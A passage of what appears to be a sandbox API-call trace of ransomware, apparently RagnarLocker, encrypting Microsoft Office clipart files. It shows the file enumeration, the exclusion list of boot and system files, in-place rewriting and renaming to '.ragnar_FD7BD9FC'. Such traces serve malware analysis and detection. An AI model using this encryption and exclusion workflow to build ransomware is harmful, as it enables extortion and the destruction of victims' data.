(lpAddress=0x0, dwSize=0x132c, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0084.939] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0084.939] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0084.939] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x132c, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x132c, lpOverlapped=0x0) returned 1 [0084.940] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0084.940] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x132c, nNumberOfBytesToLockHigh=0x0) returned 1 [0084.940] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x132c, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x132c, lpOverlapped=0x0) returned 1 [0084.940] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x132c, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0084.940] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0084.940] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x132c, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0084.940] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0084.940] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0084.941] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0084.941] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0084.941] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0084.941] GetProcessHeap () returned 0x580000 [0084.941] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0084.941] CloseHandle (hObject=0xf4) returned 1 [0084.941] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152708.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152708.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152708.WMF" [0084.941] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152708.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152708.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152708.WMF.ragnar_FD7BD9FC" [0084.941] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152708.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152708.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152708.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152708.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0084.942] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x56452630, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x11e4, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0152716.WMF", cAlternateFileName="")) returned 1 [0084.942] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0084.942] lstrcpyW (in: lpString1=0x1eb62e, lpString2="J0152716.WMF" | out: lpString1="J0152716.WMF") returned="J0152716.WMF" [0084.942] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152716.WMF") returned=".WMF" [0084.942] lstrcmpiW (lpString1="J0152716.WMF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0084.942] lstrcmpiW (lpString1="J0152716.WMF", lpString2="autorun.inf") returned 1 [0084.942] lstrcmpiW (lpString1="J0152716.WMF", lpString2="boot.ini") returned 1 [0084.942] lstrcmpiW (lpString1="J0152716.WMF", lpString2="bootfont.bin") returned 1 [0084.942] lstrcmpiW (lpString1="J0152716.WMF", lpString2="bootsect.bak") returned 1 [0084.942] lstrcmpiW (lpString1="J0152716.WMF", lpString2="bootmgr") returned 1 [0084.942] lstrcmpiW (lpString1="J0152716.WMF", lpString2="bootmgr.efi") returned 1 [0084.942] lstrcmpiW (lpString1="J0152716.WMF", lpString2="bootmgfw.efi") returned 1 [0084.942] lstrcmpiW (lpString1="J0152716.WMF", lpString2="desktop.ini") returned 1 [0084.942] lstrcmpiW (lpString1="J0152716.WMF", lpString2="iconcache.db") returned 1 [0084.942] lstrcmpiW (lpString1="J0152716.WMF", lpString2="ntldr") returned -1 [0084.942] lstrcmpiW (lpString1="J0152716.WMF", lpString2="ntuser.dat") returned -1 [0084.942] lstrcmpiW (lpString1="J0152716.WMF", lpString2="ntuser.dat.log") returned -1 [0084.942] lstrcmpiW (lpString1="J0152716.WMF", lpString2="ntuser.ini") returned -1 [0084.942] lstrcmpiW (lpString1="J0152716.WMF", lpString2="thumbs.db") returned -1 [0084.942] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0084.942] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0084.942] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0084.942] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0084.942] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0084.942] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0084.942] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0084.942] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152716.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152716.wmf")) returned 0x20 [0084.943] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152716.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152716.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0084.943] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=4580) returned 1 [0084.943] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x11db, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0084.943] GetProcessHeap () returned 0x580000 [0084.943] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0084.943] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0084.944] VirtualAlloc (lpAddress=0x0, dwSize=0x11e4, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0084.945] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0084.945] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0084.945] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x11e4, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x11e4, lpOverlapped=0x0) returned 1 [0084.946] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0084.946] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x11e4, nNumberOfBytesToLockHigh=0x0) returned 1 [0084.946] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x11e4, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x11e4, lpOverlapped=0x0) returned 1 [0084.946] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x11e4, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0084.946] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0084.946] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x11e4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0084.946] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0084.946] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0084.946] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0084.946] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0084.947] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0084.947] GetProcessHeap () returned 0x580000 [0084.947] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0084.947] CloseHandle (hObject=0xf4) returned 1 [0084.947] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152716.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152716.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152716.WMF" [0084.947] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152716.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152716.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152716.WMF.ragnar_FD7BD9FC" [0084.947] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152716.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152716.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152716.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152716.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0084.947] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65f73730, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1b6c, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0152722.WMF", cAlternateFileName="")) returned 1 [0084.948] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0084.948] lstrcpyW (in: lpString1=0x1eb62e, lpString2="J0152722.WMF" | out: lpString1="J0152722.WMF") returned="J0152722.WMF" [0084.948] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152722.WMF") returned=".WMF" [0084.948] lstrcmpiW (lpString1="J0152722.WMF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0084.948] lstrcmpiW (lpString1="J0152722.WMF", lpString2="autorun.inf") returned 1 [0084.948] lstrcmpiW (lpString1="J0152722.WMF", lpString2="boot.ini") returned 1 [0084.948] lstrcmpiW (lpString1="J0152722.WMF", lpString2="bootfont.bin") returned 1 [0084.948] lstrcmpiW (lpString1="J0152722.WMF", lpString2="bootsect.bak") returned 1 [0084.948] lstrcmpiW (lpString1="J0152722.WMF", lpString2="bootmgr") returned 1 [0084.948] lstrcmpiW (lpString1="J0152722.WMF", lpString2="bootmgr.efi") returned 1 [0084.948] lstrcmpiW (lpString1="J0152722.WMF", lpString2="bootmgfw.efi") returned 1 [0084.948] lstrcmpiW (lpString1="J0152722.WMF", lpString2="desktop.ini") returned 1 [0084.948] lstrcmpiW (lpString1="J0152722.WMF", lpString2="iconcache.db") returned 1 [0084.948] lstrcmpiW (lpString1="J0152722.WMF", lpString2="ntldr") returned -1 [0084.948] lstrcmpiW (lpString1="J0152722.WMF", lpString2="ntuser.dat") returned -1 [0084.948] lstrcmpiW (lpString1="J0152722.WMF", lpString2="ntuser.dat.log") returned -1 [0084.948] lstrcmpiW (lpString1="J0152722.WMF", lpString2="ntuser.ini") returned -1 [0084.948] lstrcmpiW (lpString1="J0152722.WMF", lpString2="thumbs.db") returned -1 [0084.948] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0084.948] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0084.948] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0084.948] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0084.948] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0084.948] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0084.948] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0084.948] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152722.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152722.wmf")) returned 0x20 [0084.948] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152722.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152722.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0084.949] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=7020) returned 1 [0084.949] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x1b63, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0084.949] GetProcessHeap () returned 0x580000 [0084.949] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0084.949] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0084.950] VirtualAlloc (lpAddress=0x0, dwSize=0x1b6c, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0084.950] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0084.950] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0084.951] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x1b6c, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x1b6c, lpOverlapped=0x0) returned 1 [0084.951] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0084.951] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x1b6c, nNumberOfBytesToLockHigh=0x0) returned 1 [0084.952] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x1b6c, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x1b6c, lpOverlapped=0x0) returned 1 [0084.952] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x1b6c, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0084.952] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0084.952] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x1b6c, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0084.952] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0084.952] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0084.952] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0084.952] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0084.952] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0084.952] GetProcessHeap () returned 0x580000 [0084.952] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0084.953] CloseHandle (hObject=0xf4) returned 1 [0084.953] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152722.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152722.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152722.WMF" [0084.953] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152722.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152722.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152722.WMF.ragnar_FD7BD9FC" [0084.953] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152722.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152722.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152722.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152722.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0084.953] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65f73730, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1ec4, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0152876.WMF", cAlternateFileName="")) returned 1 [0084.953] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0084.953] lstrcpyW (in: lpString1=0x1eb62e, lpString2="J0152876.WMF" | out: lpString1="J0152876.WMF") returned="J0152876.WMF" [0084.953] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152876.WMF") returned=".WMF" [0084.953] lstrcmpiW (lpString1="J0152876.WMF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0084.953] lstrcmpiW (lpString1="J0152876.WMF", lpString2="autorun.inf") returned 1 [0084.953] lstrcmpiW (lpString1="J0152876.WMF", lpString2="boot.ini") returned 1 [0084.954] lstrcmpiW (lpString1="J0152876.WMF", lpString2="bootfont.bin") returned 1 [0084.954] lstrcmpiW (lpString1="J0152876.WMF", lpString2="bootsect.bak") returned 1 [0084.954] lstrcmpiW (lpString1="J0152876.WMF", lpString2="bootmgr") returned 1 [0084.954] lstrcmpiW (lpString1="J0152876.WMF", lpString2="bootmgr.efi") returned 1 [0084.954] lstrcmpiW (lpString1="J0152876.WMF", lpString2="bootmgfw.efi") returned 1 [0084.954] lstrcmpiW (lpString1="J0152876.WMF", lpString2="desktop.ini") returned 1 [0084.954] lstrcmpiW (lpString1="J0152876.WMF", lpString2="iconcache.db") returned 1 [0084.954] lstrcmpiW (lpString1="J0152876.WMF", lpString2="ntldr") returned -1 [0084.954] lstrcmpiW (lpString1="J0152876.WMF", lpString2="ntuser.dat") returned -1 [0084.954] lstrcmpiW (lpString1="J0152876.WMF", lpString2="ntuser.dat.log") returned -1 [0084.954] lstrcmpiW (lpString1="J0152876.WMF", lpString2="ntuser.ini") returned -1 [0084.954] lstrcmpiW (lpString1="J0152876.WMF", lpString2="thumbs.db") returned -1 [0084.954] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0084.954] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0084.954] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0084.954] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0084.954] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0084.954] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0084.954] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0084.954] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152876.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152876.wmf")) returned 0x20 [0084.957] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152876.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152876.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0084.957] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=7876) returned 1 [0084.958] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x1ebb, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0084.958] GetProcessHeap () returned 0x580000 [0084.958] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0084.958] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0084.959] VirtualAlloc (lpAddress=0x0, dwSize=0x1ec4, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0084.959] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0084.959] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0084.959] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x1ec4, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x1ec4, lpOverlapped=0x0) returned 1 [0084.960] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0084.960] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x1ec4, nNumberOfBytesToLockHigh=0x0) returned 1 